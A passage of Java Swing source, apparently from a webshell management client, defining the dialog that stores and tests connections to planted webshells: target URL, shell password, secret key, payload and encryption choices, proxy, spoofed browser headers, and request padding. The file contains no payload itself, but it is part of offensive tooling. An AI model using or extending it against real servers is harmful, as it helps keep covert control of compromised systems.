core.ui.MainActivity; 11 | import core.ui.ShellManage; 12 | import core.ui.component.GBC; 13 | import core.ui.component.RTextArea; 14 | import core.ui.component.dialog.ChooseGroup; 15 | import core.ui.component.dialog.GOptionPane; 16 | import java.awt.BorderLayout; 17 | import java.awt.Component; 18 | import java.awt.Container; 19 | import java.awt.Dimension; 20 | import java.awt.GridBagLayout; 21 | import java.awt.event.ActionEvent; 22 | import java.awt.event.ActionListener; 23 | import java.awt.event.MouseAdapter; 24 | import java.awt.event.MouseEvent; 25 | import java.lang.reflect.Field; 26 | import javax.swing.JButton; 27 | import javax.swing.JComboBox; 28 | import javax.swing.JFrame; 29 | import javax.swing.JLabel; 30 | import javax.swing.JPanel; 31 | import javax.swing.JScrollPane; 32 | import javax.swing.JSplitPane; 33 | import javax.swing.JTabbedPane; 34 | import javax.swing.JTextField; 35 | import javax.swing.border.TitledBorder; 36 | import util.Log; 37 | import util.UiFunction; 38 | import util.automaticBindClick; 39 | import util.functions; 40 | 41 | public class ShellSetting 42 | extends JFrame { 43 | private final JTabbedPane tabbedPane; 44 | private final JPanel basicsPanel; 45 | private final JPanel reqPanel; 46 | private JTextField urlTextField; 47 | private JTextField passwordTextField; 48 | private JTextField secretKeyTextField; 49 | private JTextField proxyHostTextField; 50 | private JTextField proxyPortTextField; 51 | private JTextField connTimeOutTextField; 52 | private JTextField readTimeOutTextField; 53 | private JTextField remarkTextField; 54 | private JTextField groupIdTextField; 55 | private final RTextArea headersTextArea; 56 | private final JButton setButton; 57 | private final JButton testButton; 58 | private final RTextArea leftTextArea; 59 | private final RTextArea rightTextArea; 60 | private JComboBox proxyComboBox; 61 | private JComboBox cryptionComboBox; 62 | private JComboBox payloadComboBox; 63 | private JComboBox encodingComboBox; 64 | private final Dimension TextFieldDim = new Dimension(200, 23); 65 | private final Dimension labelDim = new Dimension(150, 23); 66 | private JLabel urlLabel; 67 | private JLabel passwordLabel; 68 | private JLabel secretKeyLabel; 69 | private JLabel proxyHostLabel; 70 | private JLabel proxyPortLabel; 71 | private JLabel connTimeOutLabel; 72 | private JLabel readTimeOutLabel; 73 | private JLabel proxyLabel; 74 | private JLabel remarkLabel; 75 | private JLabel cryptionLabel; 76 | private JLabel payloadLabel; 77 | private JLabel encodingLabel; 78 | private JLabel groupLabel; 79 | private ShellEntity shellContext; 80 | private final String shellId; 81 | private String error; 82 | private String currentGroup; 83 | 84 | public ShellSetting(String id, String defaultGroup) { 85 | super("Shell Setting"); 86 | this.shellId = id; 87 | this.currentGroup = defaultGroup; 88 | this.initLabel(); 89 | this.initTextField(); 90 | this.initComboBox(); 91 | Container c = this.getContentPane(); 92 | this.tabbedPane = new JTabbedPane(); 93 | this.basicsPanel = new JPanel(); 94 | this.reqPanel = new JPanel(); 95 | this.basicsPanel.setLayout(new GridBagLayout()); 96 | GBC gbcLUrl = new GBC(0, 0).setInsets(5, -40, 0, 0); 97 | GBC gbcUrl = new GBC(1, 0, 3, 1).setInsets(5, 20, 0, 0); 98 | GBC gbcLPassword = new GBC(0, 1).setInsets(5, -40, 0, 0); 99 | GBC gbcPassword = new GBC(1, 1, 3, 1).setInsets(5, 20, 0, 0); 100 | GBC gbcLSecretKey = new GBC(0, 2).setInsets(5, -40, 0, 0); 101 | GBC gbcSecretKey = new GBC(1, 2, 3, 1).setInsets(5, 20, 0, 0); 102 | GBC gbcLConnTimeOut = new GBC(0, 3).setInsets(5, -40, 0, 0); 103 | GBC gbcConnTimeOut = new GBC(1, 3, 3, 1).setInsets(5, 20, 0, 0); 104 | GBC gbcLReadTimeOut = new GBC(0, 4).setInsets(5, -40, 0, 0); 105 | GBC gbcReadTimeOut = new GBC(1, 4, 3, 1).setInsets(5, 20, 0, 0); 106 | GBC gbcLProxyHost = new GBC(0, 5).setInsets(5, -40, 0, 0); 107 | GBC gbcProxyHost = new GBC(1, 5, 3, 1).setInsets(5, 20, 0, 0); 108 | GBC gbcLProxyPort = new GBC(0, 6).setInsets(5, -40, 0, 0); 109 | GBC gbcProxyPort = new GBC(1, 6, 3, 1).setInsets(5, 20, 0, 0); 110 | GBC gbcLRemark = new GBC(0, 7).setInsets(5, -40, 0, 0); 111 | GBC gbcRemark = new GBC(1, 7, 3, 1).setInsets(5, 20, 0, 0); 112 | GBC gbcLGroup = new GBC(0, 8).setInsets(5, -40, 0, 0); 113 | GBC gbcGroup = new GBC(1, 8, 3, 1).setInsets(5, 20, 0, 0); 114 | GBC gbcLProxy = new GBC(0, 9).setInsets(5, -40, 0, 0); 115 | GBC gbcProxy = new GBC(1, 9, 3, 1).setInsets(5, 20, 0, 0); 116 | GBC gbcLEncoding = new GBC(0, 10).setInsets(5, -40, 0, 0); 117 | GBC gbcEncoding = new GBC(1, 10, 3, 1).setInsets(5, 20, 0, 0); 118 | GBC gbcLPayload = new GBC(0, 11).setInsets(5, -40, 0, 0); 119 | GBC gbcPayload = new GBC(1, 11, 3, 1).setInsets(5, 20, 0, 0); 120 | GBC gbcLCryption = new GBC(0, 12).setInsets(5, -40, 0, 0); 121 | GBC gbcCryption = new GBC(1, 12, 3, 1).setInsets(5, 20, 0, 0); 122 | GBC gbcSet = new GBC(0, 13, 3, 1).setInsets(5, 20, 0, 0); 123 | GBC gbcTest = new GBC(1, 13, 3, 1).setInsets(5, 20, 0, 0); 124 | this.setButton = new JButton(this.shellId != null && this.shellId.trim().length() > 0 ? "\u4fee\u6539" : "\u6dfb\u52a0"); 125 | this.testButton = new JButton("\u6d4b\u8bd5\u8fde\u63a5"); 126 | this.basicsPanel.add((Component)this.urlLabel, gbcLUrl); 127 | this.basicsPanel.add((Component)this.urlTextField, gbcUrl); 128 | this.basicsPanel.add((Component)this.passwordLabel, gbcLPassword); 129 | this.basicsPanel.add((Component)this.passwordTextField, gbcPassword); 130 | this.basicsPanel.add((Component)this.secretKeyLabel, gbcLSecretKey); 131 | this.basicsPanel.add((Component)this.secretKeyTextField, gbcSecretKey); 132 | this.basicsPanel.add((Component)this.connTimeOutLabel, gbcLConnTimeOut); 133 | this.basicsPanel.add((Component)this.connTimeOutTextField, gbcConnTimeOut); 134 | this.basicsPanel.add((Component)this.readTimeOutLabel, gbcLReadTimeOut); 135 | this.basicsPanel.add((Component)this.readTimeOutTextField, gbcReadTimeOut); 136 | this.basicsPanel.add((Component)this.proxyHostLabel, gbcLProxyHost); 137 | this.basicsPanel.add((Component)this.proxyHostTextField, gbcProxyHost); 138 | this.basicsPanel.add((Component)this.proxyPortLabel, gbcLProxyPort); 139 | this.basicsPanel.add((Component)this.proxyPortTextField, gbcProxyPort); 140 | this.basicsPanel.add((Component)this.remarkLabel, gbcLRemark); 141 | this.basicsPanel.add((Component)this.remarkTextField, gbcRemark); 142 | this.basicsPanel.add((Component)this.groupLabel, gbcLGroup); 143 | this.basicsPanel.add((Component)this.groupIdTextField, gbcGroup); 144 | this.basicsPanel.add((Component)this.proxyLabel, gbcLProxy); 145 | this.basicsPanel.add(this.proxyComboBox, gbcProxy); 146 | this.basicsPanel.add((Component)this.encodingLabel, gbcLEncoding); 147 | this.basicsPanel.add(this.encodingComboBox, gbcEncoding); 148 | this.basicsPanel.add((Component)this.payloadLabel, gbcLPayload); 149 | this.basicsPanel.add(this.payloadComboBox, gbcPayload); 150 | this.basicsPanel.add((Component)this.cryptionLabel, gbcLCryption); 151 | this.basicsPanel.add(this.cryptionComboBox, gbcCryption); 152 | this.basicsPanel.add((Component)this.setButton, gbcSet); 153 | this.basicsPanel.add((Component)this.testButton, gbcTest); 154 | this.headersTextArea = new RTextArea(); 155 | this.rightTextArea = new RTextArea(); 156 | this.leftTextArea = new RTextArea(); 157 | this.headersTextArea.setRows(6); 158 | this.rightTextArea.setRows(3); 159 | this.leftTextArea.setRows(3); 160 | this.headersTextArea.setBorder(new TitledBorder("\u534f\u8bae\u5934")); 161 | this.rightTextArea.setBorder(new TitledBorder("\u53f3\u8fb9\u8ffd\u52a0\u6570\u636e")); 162 | this.leftTextArea.setBorder(new TitledBorder("\u5de6\u8fb9\u8ffd\u52a0\u6570\u636e")); 163 | JSplitPane reqSplitPane = new JSplitPane(); 164 | JSplitPane lrSplitPane = new JSplitPane(); 165 | lrSplitPane.setOrientation(0); 166 | reqSplitPane.setOrientation(0); 167 | lrSplitPane.setTopComponent(new JScrollPane(this.leftTextArea)); 168 | lrSplitPane.setBottomComponent(new JScrollPane(this.rightTextArea)); 169 | reqSplitPane.setTopComponent(new JScrollPane(this.headersTextArea)); 170 | reqSplitPane.setDividerLocation(0.2); 171 | reqSplitPane.setBottomComponent(lrSplitPane); 172 | this.reqPanel.setLayout(new BorderLayout(1, 1)); 173 | this.reqPanel.add(reqSplitPane); 174 | this.addToComboBox(this.proxyComboBox, ApplicationContext.getAllProxy()); 175 | this.addToComboBox(this.encodingComboBox, ApplicationContext.getAllEncodingTypes()); 176 | this.addToComboBox(this.payloadComboBox, ApplicationContext.getAllPayload()); 177 | this.payloadComboBox.addActionListener(new ActionListener(){ 178 | 179 | @Override 180 | public void actionPerformed(ActionEvent paramActionEvent) { 181 | String seleteItemString = (String)ShellSetting.this.payloadComboBox.getSelectedItem(); 182 | ShellSetting.this.cryptionComboBox.removeAllItems(); 183 | ShellSetting.this.addToComboBox(ShellSetting.this.cryptionComboBox, ApplicationContext.getAllCryption(seleteItemString)); 184 | } 185 | }); 186 | this.groupIdTextField.setEditable(false); 187 | this.groupIdTextField.addMouseListener(new MouseAdapter(){ 188 | 189 | @Override 190 | public void mouseClicked(MouseEvent e) { 191 | String group = new ChooseGroup(UiFunction.getParentWindow(ShellSetting.this.groupIdTextField), ShellSetting.this.groupIdTextField.getText()).getChooseGroup(); 192 | if (group != null) { 193 | ShellSetting.this.groupIdTextField.setText(group); 194 | } else { 195 | Log.log("\u53d6\u6d88\u9009\u62e9......", new Object[0]); 196 | } 197 | } 198 | }); 199 | this.tabbedPane.addTab("\u57fa\u7840\u914d\u7f6e", this.basicsPanel); 200 | this.tabbedPane.addTab("\u8bf7\u6c42\u914d\u7f6e", this.reqPanel); 201 | c.add(this.tabbedPane); 202 | functions.fireActionEventByJComboBox(this.payloadComboBox); 203 | this.initShellContent(); 204 | automaticBindClick.bindJButtonClick(this, this); 205 | functions.setWindowSize(this, 490, 520); 206 | this.setLocationRelativeTo(MainActivity.getFrame()); 207 | this.setDefaultCloseOperation(2); 208 | EasyI18N.installObject(this); 209 | this.setVisible(true); 210 | } 211 | 212 | private void initShellContent() { 213 | if (this.shellId != null && this.shellId.trim().length() > 0) { 214 | this.initUpdateShellValue(this.shellId); 215 | } else { 216 | this.initAddShellValue(); 217 | } 218 | this.groupIdTextField.setText(this.currentGroup); 219 | } 220 | 221 | private void initLabel() { 222 | Field[] fields = this.getClass().getDeclaredFields(); 223 | String endString = "Label".toUpperCase(); 224 | for (int i = 0; i < fields.length; ++i) { 225 | String labelString; 226 | Field field = fields[i]; 227 | if (!field.getType().isAssignableFrom(JLabel.class) || !(labelString = field.getName().toUpperCase()).endsWith(endString) || labelString.length() <= endString.length()) continue; 228 | field.setAccessible(true); 229 | try { 230 | JLabel label = new JLabel(ShellManage.getCNName(labelString.substring(0, labelString.length() - endString.length()))); 231 | label.setPreferredSize(this.labelDim); 232 | field.set(this, label); 233 | continue; 234 | } catch (Exception e) { 235 | e.printStackTrace(); 236 | } 237 | } 238 | } 239 | 240 | private void initTextField() { 241 | Field[] fields = this.getClass().getDeclaredFields(); 242 | String endString = "TextField".toUpperCase(); 243 | for (int i = 0; i < fields.length; ++i) { 244 | String labelString; 245 | Field field = fields[i]; 246 | if (!field.getType().isAssignableFrom(JTextField.class) || !(labelString = field.getName().toUpperCase()).endsWith(endString) || labelString.length() <= endString.length()) continue; 247 | field.setAccessible(true); 248 | try { 249 | JTextField textField = new JTextField(); 250 | textField.setPreferredSize(this.TextFieldDim); 251 | field.set(this, textField); 252 | continue; 253 | } catch (Exception e) { 254 | e.printStackTrace(); 255 | } 256 | } 257 | } 258 | 259 | private void initComboBox() { 260 | Field[] fields = this.getClass().getDeclaredFields(); 261 | String endString = "ComboBox".toUpperCase(); 262 | for (int i = 0; i < fields.length; ++i) { 263 | String labelString; 264 | Field field = fields[i]; 265 | if (!field.getType().isAssignableFrom(JComboBox.class) || !(labelString = field.getName().toUpperCase()).endsWith(endString) || labelString.length() <= endString.length()) continue; 266 | field.setAccessible(true); 267 | try { 268 | field.set(this, new JComboBox()); 269 | continue; 270 | } catch (Exception e) { 271 | e.printStackTrace(); 272 | } 273 | } 274 | } 275 | 276 | private void addToComboBox(JComboBox comboBox, String[] data) { 277 | for (int i = 0; i < data.length; ++i) { 278 | comboBox.addItem(data[i]); 279 | } 280 | } 281 | 282 | private void initAddShellValue() { 283 | this.shellContext = new ShellEntity(); 284 | this.urlTextField.setText("http://127.0.0.1/shell.jsp"); 285 | this.passwordTextField.setText("pass"); 286 | this.secretKeyTextField.setText("key"); 287 | this.proxyHostTextField.setText("127.0.0.1"); 288 | this.proxyPortTextField.setText("8888"); 289 | this.connTimeOutTextField.setText("3000"); 290 | this.readTimeOutTextField.setText("60000"); 291 | this.remarkTextField.setText(EasyI18N.getI18nString("\u5907\u6ce8")); 292 | this.headersTextArea.setText("User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36\nAccept: text/plain, */*\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8\n"); 293 | this.leftTextArea.setText("page=1&size=10&"); 294 | this.rightTextArea.setText("&Name=manager"); 295 | if (this.currentGroup == null) { 296 | this.currentGroup = "/"; 297 | } 298 | } 299 | 300 | private void initUpdateShellValue(String id) { 301 | this.shellContext = Db.getOneShell(id); 302 | this.urlTextField.setText(this.shellContext.getUrl()); 303 | this.passwordTextField.setText(this.shellContext.getPassword()); 304 | this.secretKeyTextField.setText(this.shellContext.getSecretKey()); 305 | this.proxyHostTextField.setText(this.shellContext.getProxyHost()); 306 | this.proxyPortTextField.setText(Integer.toString(this.shellContext.getProxyPort())); 307 | this.connTimeOutTextField.setText(Integer.toString(this.shellContext.getConnTimeout())); 308 | this.readTimeOutTextField.setText(Integer.toString(this.shellContext.getReadTimeout())); 309 | this.remarkTextField.setText(this.shellContext.getRemark()); 310 | this.headersTextArea.setText(this.shellContext.getHeaderS()); 311 | this.leftTextArea.setText(this.shellContext.getReqLeft()); 312 | this.rightTextArea.setText(this.shellContext.getReqRight()); 313 | this.proxyComboBox.setSelectedItem(this.shellContext.getProxyType()); 314 | this.encodingComboBox.setSelectedItem(this.shellContext.getEncoding()); 315 | this.payloadComboBox.setSelectedItem(this.shellContext.getPayload()); 316 | this.cryptionComboBox.setSelectedItem(this.shellContext.getCryption()); 317 | if (this.shellId != null && this.currentGroup == null) { 318 | this.currentGroup = this.shellContext.getGroup(); 319 | } 320 | } 321 | 322 | private void testButtonClick(ActionEvent actionEvent) { 323 | if (this.updateTempShellEntity()) { 324 | if (this.shellContext.initShellOpertion()) { 325 | GOptionPane.showMessageDialog(this, "Success!", "\u63d0\u793a", 1); 326 | Log.log(String.format("CloseShellState: %s\tShellId: %s\tShellHash: %s", this.shellContext.getPayloadModule().close(), this.shellContext.getId(), this.shellContext.hashCode()), new Object[0]); 327 | } else { 328 | GOptionPane.showMessageDialog(this, "initShellOpertion Fail", "\u63d0\u793a", 2); 329 | } 330 | } else { 331 | GOptionPane.showMessageDialog(this, this.error, "\u63d0\u793a", 2); 332 | this.error = null; 333 | } 334 | } 335 | 336 | private void setButtonClick(ActionEvent actionEvent) { 337 | this.currentGroup = this.groupIdTextField.getText().trim(); 338 | if (this.updateTempShellEntity()) { 339 | if (this.shellId != null && this.shellId.trim().length() > 0) { 340 | if (Db.updateShell(this.shellContext) > 0) { 341 | this.shellContext.setGroup(this.currentGroup); 342 | GOptionPane.showMessageDialog(this, "\u4fee\u6539\u6210\u529f", "\u63d0\u793a", 1); 343 | this.dispose(); 344 | } else { 345 | GOptionPane.showMessageDialog(this, "\u4fee\u6539\u5931\u8d25", "\u63d0\u793a", 2); 346 | } 347 | } else if (Db.addShell(this.shellContext) > 0) { 348 | this.shellContext.setGroup(this.currentGroup); 349 | GOptionPane.showMessageDialog(this, "\u6dfb\u52a0\u6210\u529f", "\u63d0\u793a", 1); 350 | this.dispose(); 351 | } else { 352 | GOptionPane.showMessageDialog(this, "\u6dfb\u52a0\u5931\u8d25", "\u63d0\u793a", 2); 353 | } 354 | } else { 355 | GOptionPane.showMessageDialog(this, this.error, "\u63d0\u793a", 2); 356 | this.error = null; 357 | } 358 | } 359 | 360 | private boolean updateTempShellEntity() { 361 | String url = this.urlTextField.getText(); 362 | String password = this.passwordTextField.getText(); 363 | String secretKey = this.secretKeyTextField.getText(); 364 | String payload = (String)this.payloadComboBox.getSelectedItem(); 365 | String cryption = (String)this.cryptionComboBox.getSelectedItem(); 366 | String encoding = (String)this.encodingComboBox.getSelectedItem(); 367 | String headers = this.headersTextArea.getText(); 368 | String reqLeft = this.leftTextArea.getText(); 369 | String reqRight = this.rightTextArea.getText(); 370 | String proxyType = (String)this.proxyComboBox.getSelectedItem(); 371 | String proxyHost = this.proxyHostTextField.getText(); 372 | String remark = this.remarkTextField.getText(); 373 | int proxyPort = 8888; 374 | int connTimeout = 30000; 375 | int readTimeout = 30000; 376 | try { 377 | proxyPort = Integer.parseInt(this.proxyPortTextField.getText()); 378 | connTimeout = Integer.parseInt(this.connTimeOutTextField.getText()); 379 | readTimeout = Integer.parseInt(this.readTimeOutTextField.getText()); 380 | } catch (Exception e) { 381 | Log.error(e); 382 | this.error = e.getMessage(); 383 | return false; 384 | } 385 | if (url != null && url.trim().length() > 0 && password != null && password.trim().length() > 0 && secretKey != null && secretKey.trim().length() > 0 && payload != null && payload.trim().length() > 0 && cryption != null && cryption.trim().length() > 0 && encoding != null && encoding.trim().length() > 0) { 386 | this.shellContext.setUrl(url == null ? "" : url); 387 | this.shellContext.setPassword(password == null ? "" : password); 388 | this.shellContext.setSecretKey(secretKey == null ? "" : secretKey); 389 | this.shellContext.setPayload(payload == null ? "" : payload); 390 | this.shellContext.setCryption(cryption == null ? "" : cryption); 391 | this.shellContext.setEncoding(encoding == null ? "" : encoding); 392 | this.shellContext.setHeader(headers == null ? "" : headers); 393 | this.shellContext.setReqLeft(reqLeft == null ? "" : reqLeft); 394 | this.shellContext.setReqRight(reqRight == null ? "" : reqRight); 395 | this.shellContext.setConnTimeout(connTimeout); 396 | this.shellContext.setReadTimeout(readTimeout); 397 | this.shellContext.setProxyType(proxyType == null ? "" : proxyType); 398 | this.shellContext.setProxyHost(proxyHost == null ? "" : proxyHost); 399 | this.shellContext.setProxyPort(proxyPort); 400 | this.shellContext.setRemark(remark == null ? "" : remark); 401 | return true; 402 | } 403 | this.error = "\u8bf7\u68c0\u67e5 url password secretKey payload cryption encoding \u662f\u5426\u586b\u5199\u5b8c\u6574"; 404 | return false; 405 | } 406 | 407 | @Override 408 | public void dispose() { 409 | super.dispose(); 410 | MainActivity.getMainActivityFrame().refreshShellView(); 411 | } 412 | } 413 | 414 | --------------------------------------------------------------------------------